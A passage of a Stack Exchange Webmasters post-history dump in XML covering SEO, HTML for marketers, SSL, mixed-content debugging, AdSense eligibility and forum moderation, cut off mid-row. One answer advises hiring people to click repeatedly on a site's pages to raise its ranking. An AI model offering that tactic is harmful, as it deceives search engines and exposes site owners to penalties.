  <row Id="30104" PostHistoryTypeId="2" PostId="13097" RevisionGUID="250a9ec3-2ea6-45ba-88c6-92260f66f87d" CreationDate="2009-10-23T08:15:22.907" UserDisplayName="skyflyer" Text="I am not sure about other companies, but in my company some employees are required to unstand the basic meanings of some tags, like meta, tile, strong, etc. &lt;p&gt;The reason is very simply, we are doing marketing on line, and most of information is presented through HTML. If they do not grasp the basic HTML, it is hard for them to do some marketing campaigns like SEO, blog. And even worse, like you asked, the cooperation between marketing Dept and Tech Dept is in server situation. &#xD;&#xA;&lt;p&gt; In the standpoint of tech Dept, you can tell them how important those things are, or sometimes they knew this already. If they reach this level, they will study HTML by themselves. Anyway it is not so difficult for them to learn the basics. &#xD;&#xA;" />
  <row Id="30105" PostHistoryTypeId="2" PostId="13098" RevisionGUID="ba10d06b-f11b-4cef-8e96-7dbddc5ea315" CreationDate="2010-05-20T17:57:51.650" UserDisplayName="Mateo Ferreira" Text="The sales model could affect the answer to this question.   For 'high velocity', inside sales, high distribution models (open source, trial download, free) where driving mass adoption is the key, marketing teams in these models are responsible for driving targeted, relevant communications to prospects to turn adoption into revenue.   This popular model has created the need for marketing automation programs like Eloqua, Marketo, etc., which all have email marketing as a big component of their value add.  This means marketing managers should be comfortable in both WYSIWYG editors, as well as Source HTML (making sure styles don't get messed up by the WYSIWYG editor).   Beyond HTML, CSS is also something that new marketing managers should be comfortable/familiar with.  It's a new world out there. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="30107" PostHistoryTypeId="2" PostId="13092" RevisionGUID="fa3c292c-81fc-4a50-93ce-08a3c4ebb150" CreationDate="2009-10-22T03:13:04.703" UserDisplayName="Phil.Wheeler" Text="Working within an organisation as part of the in-house site development team, a lot of my team's throughput is driven by the colouring-in (marketing) department.  It is their responsibility to provide approved content and imagery for the features or enhancements that we include on each iteration of the company site.&#xD;&#xA;&#xD;&#xA;One thing I've noticed in this job and several previous ones is that the Marketing department is extremely particular about wording and presentation, but has little to no understanding of the actual medium with which they're working - the web.&#xD;&#xA;&#xD;&#xA;I find that my team is constantly making best guesses for various HTML attributes like image alt text, titles, rel tags, blockquote cite attributes and the like.  How reasonable is it to expect that marketing departments have a strong understanding of the purpose of HTML metadata?  Should it be the developer's job to remind and inform each time or are marketing departments falling behind the technology they're working with?&#xD;&#xA;&#xD;&#xA;What could I reasonably expect our marketing department to understand and provide every time with each new work request?" />
  <row Id="30108" PostHistoryTypeId="1" PostId="13092" RevisionGUID="fa3c292c-81fc-4a50-93ce-08a3c4ebb150" CreationDate="2009-10-22T03:13:04.703" UserDisplayName="Phil.Wheeler" Text="Should Marketing departments have basic HTML skills?" />
  <row Id="30109" PostHistoryTypeId="3" PostId="13092" RevisionGUID="fa3c292c-81fc-4a50-93ce-08a3c4ebb150" CreationDate="2009-10-22T03:13:04.703" UserDisplayName="Phil.Wheeler" Text="&lt;html&gt;&lt;education&gt;&lt;marketing&gt;" />
  <row Id="30110" PostHistoryTypeId="17" PostId="13092" RevisionGUID="26cd4b3a-77e3-4797-9221-4626e23990ef" CreationDate="2011-04-29T09:37:21.417" UserId="-1" Comment="from http://stackoverflow.com/questions/1604832/should-marketing-departments-have-basic-html-skills" Text="" />
  <row Id="30111" PostHistoryTypeId="17" PostId="13101" RevisionGUID="019e3d8b-40e0-4011-a656-a603c0f1d860" CreationDate="2011-04-29T09:38:58.733" UserId="-1" Comment="from http://stackoverflow.com/questions/5821386/seo-h1-with-text-vs-h1-with-bg-image-and-hidden-text/5821437#5821437" Text="" />
  <row Id="30112" PostHistoryTypeId="2" PostId="13101" RevisionGUID="a871cd77-ad10-4082-b9c8-d6a50b4f73df" CreationDate="2011-04-28T15:52:12.693" UserDisplayName="Talljoe" Text="For the most part, the search engines only look at text.  Some of them do look at the CSS to see if the text is visible (either by `display: none` or background color ~ foreground color) so it is possible they will notice the `-9999px` and mark you down, but since it's a common technique it's unlikely.&#xD;&#xA;&#xD;&#xA;In both approaches your code will look the same: `&lt;h1&gt;My SEo Website&lt;/h1&gt;` The only difference should be your CSS.  You must still use text for accessibility reasons." />
  <row Id="30113" PostHistoryTypeId="2" PostId="13100" RevisionGUID="a24a32e9-a864-4a13-9fe4-3fc940ec8cd3" CreationDate="2011-04-28T15:48:03.423" UserDisplayName="Francisc" Text="Having an h1 with &quot;real&quot; text in it is just as good for SEO as having that h1 with an image background and the same text, but set to be indented to -9999px and ltr?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="30114" PostHistoryTypeId="1" PostId="13100" RevisionGUID="a24a32e9-a864-4a13-9fe4-3fc940ec8cd3" CreationDate="2011-04-28T15:48:03.423" UserDisplayName="Francisc" Text="SEO: h1 with text vs. h1 with bg image and hidden text" />
  <row Id="30115" PostHistoryTypeId="3" PostId="13100" RevisionGUID="a24a32e9-a864-4a13-9fe4-3fc940ec8cd3" CreationDate="2011-04-28T15:48:03.423" UserDisplayName="Francisc" Text="&lt;text&gt;&lt;seo&gt;" />
  <row Id="30116" PostHistoryTypeId="17" PostId="13100" RevisionGUID="a1fa8955-9d39-45c6-bc11-29754d6c930e" CreationDate="2011-04-29T09:38:58.733" UserId="-1" Comment="from http://stackoverflow.com/questions/5821386/seo-h1-with-text-vs-h1-with-bg-image-and-hidden-text" Text="" />
  <row Id="30117" PostHistoryTypeId="2" PostId="13102" RevisionGUID="f277ceb4-7678-46b6-bb4d-dd5ae7ccc4cd" CreationDate="2011-04-29T09:40:53.343" UserId="3790" Text="Check out http://www.artisteer.com/. This tool may help you out." />
  <row Id="30118" PostHistoryTypeId="2" PostId="13103" RevisionGUID="cef0c355-4594-49f2-9b06-ac31a4ce7ba5" CreationDate="2011-04-29T09:41:02.573" UserId="5013" Text="If you mean, sell items both on eBay AND your website, this is a great way to get the word out about your site. I did something similar bad in the day where I would include, in the eBay order, a coupon for like 5-10% off of a purchase on my website. There are a number of things you can include in an order to further get the word out about your site - magnets with your logo, etc. You can also ship with a box that has your logo printed on it.&#xD;&#xA;&#xD;&#xA;While you cannot redirect people from an eBay listing by saying something like &quot;This item isn't for sale on eBay, you can buy it on my online store,&quot; you CAN sell items on eBay in order to increase awareness about your company. It's also a great way for people to earn trust in your company if they stumble across your site without having knowledge of your eBay account. For example, you could have a link on your site to your eBay profile showing off your feedback % and number of sales. However, because of eBay's expensive fees (while I ultimately quit selling on eBay) I stopped selling there.&#xD;&#xA;&#xD;&#xA;There are also a number of other ways to market your site including SEO. You don't have to get a massive amount of backlinks in order to do this, but there are a few things you could improve on your site in order to better your chances of a high ranking in the search engines. For example, passing a W3C validation means that search engine may crawl and rank your content more easily. [Here is your current validation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jigsaw.w3.org/css-validator/validator?uri=http://www.luxliving.com.au/&amp;profile=css21&amp;usermedium=all&amp;warning=1&amp;vextwarning=&amp;lang=en" />
  <row Id="30119" PostHistoryTypeId="5" PostId="11355" RevisionGUID="1afb8597-7f4e-4bab-8d9e-34fcebd8c042" CreationDate="2011-04-29T09:47:36.210" UserId="3" Comment="added 6 characters in body; edited tags; edited title" Text="What is a reasonable and reputable SSL certificate signing authority -- **and how do they verify the domain in the simplest case?**  Do they simply send an email to the Technical Contact for the domain name like when initiating a transfer, and then boom, verified certificate?" />
  <row Id="30120" PostHistoryTypeId="4" PostId="11355" RevisionGUID="1afb8597-7f4e-4bab-8d9e-34fcebd8c042" CreationDate="2011-04-29T09:47:36.210" UserId="3" Comment="added 6 characters in body; edited tags; edited title" Text="How do SSL certificate authorities verify domains?" />
  <row Id="30121" PostHistoryTypeId="6" PostId="11355" RevisionGUID="1afb8597-7f4e-4bab-8d9e-34fcebd8c042" CreationDate="2011-04-29T09:47:36.210" UserId="3" Comment="added 6 characters in body; edited tags; edited title" Text="&lt;domains&gt;&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="30122" PostHistoryTypeId="2" PostId="13104" RevisionGUID="57ccf31b-b0be-47b2-8c0c-41d828c9aa91" CreationDate="2011-04-29T10:47:42.413" UserId="7085" Text="Not easy but i hope to give you some good starting points.&#xD;&#xA;&#xD;&#xA;1. Learn about &quot;Template override&quot;. It means you can change the HTML output of component without hacking Joomla core code.&#xD;&#xA;&#xD;&#xA;2. Use what learned at 1. so you can put an anchor near every article in your blog layout. Hint: you will have to change file:&#xD;&#xA;&#xD;&#xA;/templates/[your template]/html/com_content/category/blog_item.php&#xD;&#xA;&#xD;&#xA;If it's not there, create it by copying&#xD;&#xA;&#xD;&#xA;/components/com_content/views/category/tmpl/blog_item.php&#xD;&#xA;&#xD;&#xA;Let's say the anchor you put near every article is something link&#xD;&#xA;&#xD;&#xA;    &lt;a id=&quot;article_&lt;?php echo $this-&gt;item-&gt;id&quot; ?&gt;&quot; /&gt;&#xD;&#xA;&#xD;&#xA;3. Depending on how displaynews plugin (or module?) is coded, you can use what learned at point 1. or you will have to hack the plugin (or module?) code itself. You can change the readmore link from&#xD;&#xA;&#xD;&#xA;index.php?option=com_content&amp;view=article&amp;id=XX&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;index.php?option=com_content&amp;view=category&amp;layout=blog&amp;id=CC#article_XX&#xD;&#xA;&#xD;&#xA;where CC is the CATEGORY id, while XX is the ARTICLE id&#xD;&#xA;" />
  <row Id="30124" PostHistoryTypeId="2" PostId="13106" RevisionGUID="0e77619b-0755-4363-b9d7-5eaca9d18d3e" CreationDate="2011-04-29T11:00:39.233" UserId="2748" Text="Few steps you can take here.&#xD;&#xA;&#xD;&#xA;* Try putting the word &quot;sushil Handa&quot;, on your much as much as possible. But do not place the word in the irrelevant way, or the advanced SE like google can detect this and will not index your link.&#xD;&#xA;&#xD;&#xA;* Hire some guys, who will continuously find the page, from the site, from the site and keep on clicking them. &lt;sub&gt;Although, this might not be applicable for all the SEs &lt;/sub&gt; &#xD;&#xA;&#xD;&#xA;However, what you are trying to achieve is a very wrong solution to which there are many better alternatives?" />
  <row Id="30125" PostHistoryTypeId="5" PostId="13081" RevisionGUID="064ba16a-81b7-447b-9168-d65ff7ad46f9" CreationDate="2011-04-29T11:54:53.230" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a website located at: [http://www.fifthvedaentrepreneurs.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fifthvedaentrepreneurs.com&#xD;&#xA;I am trying to get this website ranking as high as possible on Google with the Keyword &quot;Sushil Handa&quot; (promoter of the company). How do I do that? I am using various link building strategies but not very successfull so far.&#xD;&#xA;&#xD;&#xA;Please share your ideas. Thanks in adavance for your kind co-operation.&#xD;&#xA;&#xD;&#xA;Sincere Regards,&#xD;&#xA;&#xD;&#xA;Sushil Handa&#xD;&#xA;&#xD;&#xA;CEO - The Fifthveda Entrepreneurs" />
  <row Id="30126" PostHistoryTypeId="10" PostId="13081" RevisionGUID="d5654786-937c-4402-9507-6edfb9b47e18" CreationDate="2011-04-29T11:54:52.450" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="30132" PostHistoryTypeId="6" PostId="13066" RevisionGUID="447178d8-ea6e-4553-b459-b961197ab88f" CreationDate="2011-04-29T11:59:11.903" UserId="1253" Comment="edited tags" Text="&lt;html5&gt;&lt;video&gt;&lt;flash&gt;" />
  <row Id="30133" PostHistoryTypeId="2" PostId="13107" RevisionGUID="daace4b2-1e5e-4112-a6d9-e8efae567a5f" CreationDate="2011-04-29T12:02:15.390" UserId="5761" Text="When I visit our web site pages with IE over HTTPS, it reports the web site as protected (i.e. no elements are taken using HTTP). The same page, when loaded to Firefox, causes Firefox to complain that some elements are non-secure. I checked the source code of the page and the list of resources of the page (Firefox displays the list of resources) - there are no http resources, only HTTPS ones are listed. &#xD;&#xA;&#xD;&#xA;The question is - how do I diagnose, what resources (images or CSS or JavaScript) are loaded using HTTP and not HTTPS? I assume that some plugin is needed. Firebug doesn't have anything helpful, as it see,s. " />
  <row Id="30134" PostHistoryTypeId="1" PostId="13107" RevisionGUID="daace4b2-1e5e-4112-a6d9-e8efae567a5f" CreationDate="2011-04-29T12:02:15.390" UserId="5761" Text="Firefox reports HTTPS page to contain non-secure elements." />
  <row Id="30135" PostHistoryTypeId="3" PostId="13107" RevisionGUID="daace4b2-1e5e-4112-a6d9-e8efae567a5f" CreationDate="2011-04-29T12:02:15.390" UserId="5761" Text="&lt;ssl&gt;&lt;firefox&gt;" />
  <row Id="30136" PostHistoryTypeId="2" PostId="13108" RevisionGUID="556faa84-ee5f-4a3c-a019-6dd8301e2ff1" CreationDate="2011-04-29T12:06:35.253" UserId="1253" Text="Just view the source code and look for anything that is loaded with http:// and not https://. Any basic text editor can do this quickly for you.  Be sure to check &#xD;&#xA;&#xD;&#xA; - JavaScripts&#xD;&#xA; - Stylesheets&#xD;&#xA; - Images&#xD;&#xA; - Objects&#xD;&#xA; - Frames" />
  <row Id="30137" PostHistoryTypeId="25" PostId="13078" RevisionGUID="5578aea5-c923-4112-aa84-c43cdd9dc06d" CreationDate="2011-04-29T12:11:14.850" Comment="http://twitter.com/#!/StackWebmasters/status/63938390550249472" />
  <row Id="30138" PostHistoryTypeId="5" PostId="13108" RevisionGUID="de4ba6ce-b971-4305-8346-9ee0dcaf165b" CreationDate="2011-04-29T13:34:29.923" UserId="1253" Comment="added 186 characters in body" Text="Just view the source code and look for anything that is loaded with http:// and not https://. Any basic text editor can do this quickly for you.  Be sure to check &#xD;&#xA;&#xD;&#xA; - JavaScripts&#xD;&#xA; - Stylesheets&#xD;&#xA; - Images&#xD;&#xA; - Objects&#xD;&#xA; - Frames&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA; - Scripts and widgets from other sites like Facebook&#xD;&#xA; - Favicon&#xD;&#xA;&#xD;&#xA;Make sure you manually check as Firefox may not be reporting all resources on the page. Just media." />
  <row Id="30139" PostHistoryTypeId="5" PostId="13107" RevisionGUID="fd0ccff6-d296-4d5f-b2ba-cbd92e42f3b2" CreationDate="2011-04-29T13:35:03.860" UserId="5761" Comment="Added an update" Text="When I visit our web site pages with IE over HTTPS, it reports the web site as protected (i.e. no elements are taken using HTTP). The same page, when loaded to Firefox, causes Firefox to complain that some elements are non-secure. I checked the source code of the page and the list of resources of the page (Firefox displays the list of resources) - there are no http resources, only HTTPS ones are listed. &#xD;&#xA;&#xD;&#xA;The question is - how do I diagnose, what resources (images or CSS or JavaScript) are loaded using HTTP and not HTTPS? I assume that some plugin is needed. Firebug doesn't have anything helpful, as it seems. &#xD;&#xA;&#xD;&#xA;Update: &#xD;&#xA;&#xD;&#xA;The mystery has been discovered. Under certain [rare] combination of conditions Facebook instead of providing a PNG image of the page statistics (embedded into the page) reports the error (some HTML via Javascript). As the original resource is a PNG, Firefox simply doesn't display that PNG, but seems to execute the javascript code, sent by Facebook. Obviously, this JavaScript could not be easily tracked as it was not being displayed or even mentioned anywhere (except maybe deep in the DOM inspector). Changing the conditions eliminated the erroneous javascript. However, the question regarding the tool that would help discover such &quot;hidden&quot; code and other resources remains actual." />
  <row Id="30140" PostHistoryTypeId="2" PostId="13109" RevisionGUID="ac7cef63-8183-454f-a60e-4c5459defb86" CreationDate="2011-04-29T14:05:15.417" UserId="7191" Text="&#xD;&#xA;We have a set of pages with the following urls:&#xD;&#xA;&#xD;&#xA;    www.mysite.com/info/page1.html&#xD;&#xA;    www.mysite.com/info/page2.html&#xD;&#xA;    www.mysite.com/info/page3.html&#xD;&#xA;&#xD;&#xA;Each has a structure as follows:&#xD;&#xA;&#xD;&#xA;    ----------------------&#xD;&#xA;    |          A         |&#xD;&#xA;    |--------------------|&#xD;&#xA;    |  |                 |&#xD;&#xA;    |B |        C        |&#xD;&#xA;    |  |                 |&#xD;&#xA;    ----------------------&#xD;&#xA;    |          D         |&#xD;&#xA;    |--------------------|&#xD;&#xA;&#xD;&#xA;    A: is the &quot;header&quot; area&#xD;&#xA;    B: is a list of menu items which show a bunch of menus, sub-menus and the &#xD;&#xA;       currently selected sub-menu&#xD;&#xA;    C: is the content, shown depending on what is selected on B&#xD;&#xA;    D: is a common footer to all &#xD;&#xA;&#xD;&#xA;Our current solution is to manage everything not as html files, but as entries in a database table and to generate the html page depending on the url sought...&#xD;&#xA;&#xD;&#xA;For example a mod_rewrite rule sends:&#xD;&#xA;&#xD;&#xA;    www.mysite/info/page1.html&#xD;&#xA;&#xD;&#xA;to &#xD;&#xA;&#xD;&#xA;    showpages.php?url=page1&#xD;&#xA;&#xD;&#xA;and that fetches the html for C from the DB table and shows the page properly.&#xD;&#xA;&#xD;&#xA;I want to break away from this model because it is VERY slow on fetching large pages (&quot;C&quot;).&#xD;&#xA;&#xD;&#xA;My problems are two-fold:&#xD;&#xA;&#xD;&#xA;   1. The above pages need to be shown to a &quot;logged-in&quot; user, in which case the header (&quot;A&quot;) is dynamically created.&#xD;&#xA;   2. With a view on maintainability, I DON'T want several copies of the same code (whether html or php to float around).&#xD;&#xA;&#xD;&#xA;If I simply use pure html / js along with iframes I shouldnt have a problem displaying pages 1 to 4. However, I dont know how to manage the scenario when the user is logged in.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30141" PostHistoryTypeId="1" PostId="13109" RevisionGUID="ac7cef63-8183-454f-a60e-4c5459defb86" CreationDate="2011-04-29T14:05:15.417" UserId="7191" Text="How to show content for logged-in vs logged-out users?" />
  <row Id="30142" PostHistoryTypeId="3" PostId="13109" RevisionGUID="ac7cef63-8183-454f-a60e-4c5459defb86" CreationDate="2011-04-29T14:05:15.417" UserId="7191" Text="&lt;website-design&gt;&lt;websites&gt;&lt;database&gt;&lt;optimization&gt;&lt;speed&gt;" />
  <row Id="30143" PostHistoryTypeId="2" PostId="13110" RevisionGUID="37348b56-f966-4f7f-9709-0f6a663ca560" CreationDate="2011-04-29T14:13:26.953" UserDisplayName="vinoth" Text="How many months I have to wait to put google ad in my website, and my website is three month old. Now have visitors of about 5000+ unique visitors/month. My region is India, somebody told me that for Indian website must have six months old. Also I have an doubt whether the site age is calculated my domain creation date or from site release date. " />
  <row Id="30144" PostHistoryTypeId="1" PostId="13110" RevisionGUID="37348b56-f966-4f7f-9709-0f6a663ca560" CreationDate="2011-04-29T14:13:26.953" UserDisplayName="vinoth" Text="How many months I have to wait to place google ad in my site" />
  <row Id="30145" PostHistoryTypeId="3" PostId="13110" RevisionGUID="37348b56-f966-4f7f-9709-0f6a663ca560" CreationDate="2011-04-29T14:13:26.953" UserDisplayName="vinoth" Text="&lt;google&gt;&lt;google-adsense&gt;" />
  <row Id="30146" PostHistoryTypeId="17" PostId="13110" RevisionGUID="9e86360e-7f1f-46e0-8a7e-636e78dfe31f" CreationDate="2011-04-29T14:23:54.530" UserId="-1" Comment="from http://stackoverflow.com/questions/5833211/how-many-months-i-have-to-wait-to-place-google-ad-in-my-site" Text="" />
  <row Id="30147" PostHistoryTypeId="2" PostId="13111" RevisionGUID="5b1309c4-a9f4-4933-97e3-201977e74a0e" CreationDate="2011-04-29T14:28:52.177" UserId="1253" Text="I don't see anything in the [Adsense guidelines][1] that says the age a site has been active is a factor for when it can sign up for Adsense. So the answer would be zero months. You can sign up immediately.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/support/bin/answer.py?answer=48182&amp;gsessionid=svj6TicfHcyj5YCI3yAPkA" />
  <row Id="30148" PostHistoryTypeId="2" PostId="13112" RevisionGUID="f31daca0-5c92-4b5d-9be0-61329edc763a" CreationDate="2011-04-29T14:46:35.223" UserId="7194" Text="Your making your content spam by your own work. Now google looking on big eye about duplicate content. Recently they have changed their algorithm which includes panda" />
  <row Id="30149" PostHistoryTypeId="5" PostId="13111" RevisionGUID="a9468e32-fe50-45b8-bbbf-f4db4dad7931" CreationDate="2011-04-29T14:47:23.087" UserId="1253" Comment="added 434 characters in body" Text="&lt;strike&gt;I don't see anything in the [Adsense guidelines][1] that says the age a site has been active is a factor for when it can sign up for Adsense. So the answer would be zero months. You can sign up immediately.&lt;/strike&gt;&#xD;&#xA;&#xD;&#xA;Based on the link you provided in your content it appears you do have to wait six months due to be located in India. Google isn't clear on whether the six months is from the registration of the domain for the launch of the site. You should submit your site for inclusion at the six month anniversary of the registration date and if you are rejected try again at the six month anniversary date of the site launch. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/support/bin/answer.py?answer=48182&amp;gsessionid=svj6TicfHcyj5YCI3yAPkA" />
  <row Id="30150" PostHistoryTypeId="25" PostId="13110" RevisionGUID="6cc85396-d254-49c4-a4c3-8a1c8f04867a" CreationDate="2011-04-29T15:11:14.873" Comment="http://twitter.com/#!/StackWebmasters/status/63983689566130176" />
  <row Id="30151" PostHistoryTypeId="5" PostId="13109" RevisionGUID="f3521920-e812-4199-ae3d-9f5f329fdf54" CreationDate="2011-04-29T15:41:04.370" UserId="7191" Comment="added 1100 characters in body" Text="We have a set of pages with the following urls:&#xD;&#xA;&#xD;&#xA;    www.mysite.com/info/page1.html&#xD;&#xA;    www.mysite.com/info/page2.html&#xD;&#xA;    www.mysite.com/info/page3.html&#xD;&#xA;&#xD;&#xA;Each has a structure as follows:&#xD;&#xA;&#xD;&#xA;    ----------------------&#xD;&#xA;    |          A         |&#xD;&#xA;    |--------------------|&#xD;&#xA;    |  |                 |&#xD;&#xA;    |B |        C        |&#xD;&#xA;    |  |                 |&#xD;&#xA;    ----------------------&#xD;&#xA;    |          D         |&#xD;&#xA;    |--------------------|&#xD;&#xA;&#xD;&#xA;    A: is the &quot;header&quot; area&#xD;&#xA;    B: is a list of menu items which show a bunch of menus, sub-menus and the &#xD;&#xA;       currently selected sub-menu&#xD;&#xA;    C: is the content, shown depending on what is selected on B&#xD;&#xA;    D: is a common footer to all &#xD;&#xA;&#xD;&#xA;Our current solution is to manage everything not as html files, but as entries in a database table and to generate the html page depending on the url sought...&#xD;&#xA;&#xD;&#xA;For example a mod_rewrite rule sends:&#xD;&#xA;&#xD;&#xA;    www.mysite/info/page1.html&#xD;&#xA;&#xD;&#xA;to &#xD;&#xA;&#xD;&#xA;    showpages.php?url=page1&#xD;&#xA;&#xD;&#xA;and that fetches the html for C from the DB table and shows the page properly.&#xD;&#xA;&#xD;&#xA;I want to break away from this model because it is VERY slow on fetching large pages (&quot;C&quot;).&#xD;&#xA;&#xD;&#xA;My problems are two-fold:&#xD;&#xA;&#xD;&#xA;   1. The above pages need to be shown to a &quot;logged-in&quot; user, in which case the header (&quot;A&quot;) is dynamically created.&#xD;&#xA;   2. With a view on maintainability, I DON'T want several copies of the same code (whether html or php to float around).&#xD;&#xA;&#xD;&#xA;If I simply use pure html / js along with iframes I shouldnt have a problem displaying pages 1 to 4. However, I dont know how to manage the scenario when the user is logged in.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;Can you provide more info to help us understanding the problem? Are you using a Content Management System? &#xD;&#xA;&#xD;&#xA;no its a custom php website &#xD;&#xA;&#xD;&#xA;&gt;Are you using frames? &#xD;&#xA;&#xD;&#xA;actually we're not using iframes in our present setup, but am not averse to doing so if its makes sense in the ideal solution &#xD;&#xA;&#xD;&#xA;&gt;How do you do the login now?&#xD;&#xA;&#xD;&#xA;we have the login form on the &quot;header section&quot; (A) and when the user is logged in, it customizes the header.  &#xD;&#xA;&#xD;&#xA;&gt;Why is it that your current method is slower than other methods, if the content is the same?&#xD;&#xA;&#xD;&#xA;Our current system picks up the content &quot;C&quot; from a table. Since the content is rather large, it slows the page load. I'm trying to move the html content from the db to an actual file on disk. If i just had to deal with logged-out / anonymous users, i would have used iframes to display (A), (B), (C) and (D). And with javascript, navigated to a different page and change contents of (C).&#xD;&#xA;&#xD;&#xA;One more perteninet fact - I currently have a php script userheader.php which generates the html for both logged-in and logged-out users (ie &quot;A&quot;).&#xD;&#xA;" />
  <row Id="30152" PostHistoryTypeId="2" PostId="13113" RevisionGUID="b39cf000-a7c1-4778-ab96-316fc066316c" CreationDate="2011-04-29T15:44:23.857" UserId="7197" Text="I've been looking for hours for pure css, no js, menu creation software. All that I've found have either used js or did not have drop-down sub-menus. I have found one, but it's quite pricey for me and does more than I really need (although I do like it): css3menu.com&#xD;&#xA;&#xD;&#xA;Does anyone know of a good one?&#xD;&#xA;&#xD;&#xA;Thanks&lt;br/&gt;Sean Gordon" />
  <row Id="30153" PostHistoryTypeId="1" PostId="13113" RevisionGUID="b39cf000-a7c1-4778-ab96-316fc066316c" CreationDate="2011-04-29T15:44:23.857" UserId="7197" Text="Pure CSS menu generator" />
  <row Id="30154" PostHistoryTypeId="3" PostId="13113" RevisionGUID="b39cf000-a7c1-4778-ab96-316fc066316c" CreationDate="2011-04-29T15:44:23.857" UserId="7197" Text="&lt;css&gt;&lt;menu&gt;&lt;software&gt;" />
  <row Id="30155" PostHistoryTypeId="2" PostId="13114" RevisionGUID="85401a65-80dc-4dc7-9d6c-305087d86803" CreationDate="2011-04-29T17:31:18.887" UserId="7198" Text="You could try http://www.webpagetest.org/&#xD;&#xA;&#xD;&#xA;Run your https URL through the site, then click on the 'waterfall view'. All resources loaded over https will display a padlock icon. Those loaded over http won't. Here's what the output for https://twitter.com looks like, for example:&#xD;&#xA;&#xD;&#xA;![Testing for https resources with webpagetest.org][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/PNfei.jpg" />
  <row Id="30156" PostHistoryTypeId="25" PostId="13107" RevisionGUID="f8191f5a-6ee6-4ed1-8257-36b88c9ffc62" CreationDate="2011-04-29T18:11:18.157" Comment="http://twitter.com/#!/StackWebmasters/status/64029001039089665" />
  <row Id="30157" PostHistoryTypeId="2" PostId="13115" RevisionGUID="03c0d925-e307-4f2e-8189-5511c44babc9" CreationDate="2011-04-29T18:15:58.870" UserId="5464" Text="I don't think there is a way to set this within analytics. &#xD;&#xA;&#xD;&#xA;This post seems to cover the same topic [Change Default date range][1]. You could take the same idea open a dashboard with a date range set then remove the end date and bookmark. This could give the result you are after - i did a simple test and it seemed to work. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Google%20Analytics/thread?tid=5c996a9e15eada28&amp;hl=en" />
  <row Id="30158" PostHistoryTypeId="5" PostId="731" RevisionGUID="6c6d97f4-643f-4ae5-a705-f8f88e0445fe" CreationDate="2011-04-29T20:34:37.620" UserId="26" Comment="added links to drupal modules which can be used against trolls" Text="If you have a vibrant community, you will get a certain amount of this. Some approaches to consider when adding moderation layers.&#xD;&#xA;&#xD;&#xA;1. **Require payment to signup:**&#xD;&#xA;Some communities, like [Metafilter][1], have full-mods, but also charge a small fee for all users (MeFi charges $5) which cuts down somewhat. &#xD;&#xA;&#xD;&#xA;2. **Waiting periods:** They also set time limits on some of the things you can do with a new account. So you can post a comment, but you can't create a new post for a time period (I believe 7 days). Making it harder for a new account to do something can be helpful, but it can also turn off legitimate users.&#xD;&#xA;&#xD;&#xA;3. **Shaming:** Other comment communities, like BoingBoing, uses a shaming technique called &quot;[disemvowelling][2]&quot; - basically if your post is a bozo, it gets all the vowels removed and you look like an idiot.&#xD;&#xA;&#xD;&#xA;4. **Put user in Stealth Mode:** A sneakier tack is to simply allow the user to keep commenting, but completely hide their posts from all other users. They log in, and suddenly, mysteriously, nobody ever replies to their comments and threads. Now, if you have a public view, this falls down as a solution, because they catch on to the game quickly. But I always like this solution.&#xD;&#xA;&#xD;&#xA;5. **Moderate until proved non-bozo:** Yet another thing to do is to put all new users or all users below a certain threshold of activity on a site on probation. Everything they do gets moderated until they post X non-bozo comments, etc. Big overhead there, but it works well on mailing lists I've moderated.&#xD;&#xA;&#xD;&#xA;6. **Allow anything, but don't save anything:** A more unique solution is to simply never save anything, 4chan for example simply doesn't save anything -- no archives, no nothing. It invites and embraces bozos and all, but doesn't archive anything for more than a certain period of time, so there's less lasting effects of any one bozo. Note that 4chan still manages to need moderators, so even with this solution there's still a certain amount of overhead.&#xD;&#xA;&#xD;&#xA;7. **Give your mods tools:** Let them see views of user activity per user and per thread, along with IP addresses and other &quot;fingerprinty&quot; data (email, user-agent, typical time of login) so that they can see who's on and what's happening. Showing them this stuff helps them understand the site and be proactive when things get out of hand.&#xD;&#xA;&#xD;&#xA;8. **Reputation Systems:** [StackOverflow][3] and all the [StackExchange][4] websites keep track of user reputation and allow more capability with more rep. [Slashdot][5] is the first site I can remember to put something like this in place. Note, that you don't necessarily have to share reputation with your users, once calculated, it can be shared with mods to help them make their decisions.&#xD;&#xA;&#xD;&#xA;IP banning is the first impulse everybody has, but it does occasionally grab innocent people, and for some jerky users, they're always at a different IP, which is a pain.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**Update, 2011.**&#xD;&#xA;There are two interesting [Drupal][6] modules, usable obviously only on Drupal-based sites that might give you ideas: [Misery][7], which creates miserable experiences for the user--random delays, apparent site bugs, random redirects; [Cave][8], which is an implementation of &quot;4&quot; above, *&quot;Put user in Stealth Mode&quot;*.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.metafilter.com/&#xD;&#xA;  [2]: http://boingboing.net/2008/03/27/boing-boings-moderat.html&#xD;&#xA;  [3]: http://stackoverflow.com/&#xD;&#xA;  [4]: http://stackexchange.com/&#xD;&#xA;  [5]: http://slashdot.org/&#xD;&#xA;  [6]: http://drupal.org/&#xD;&#xA;  [7]: 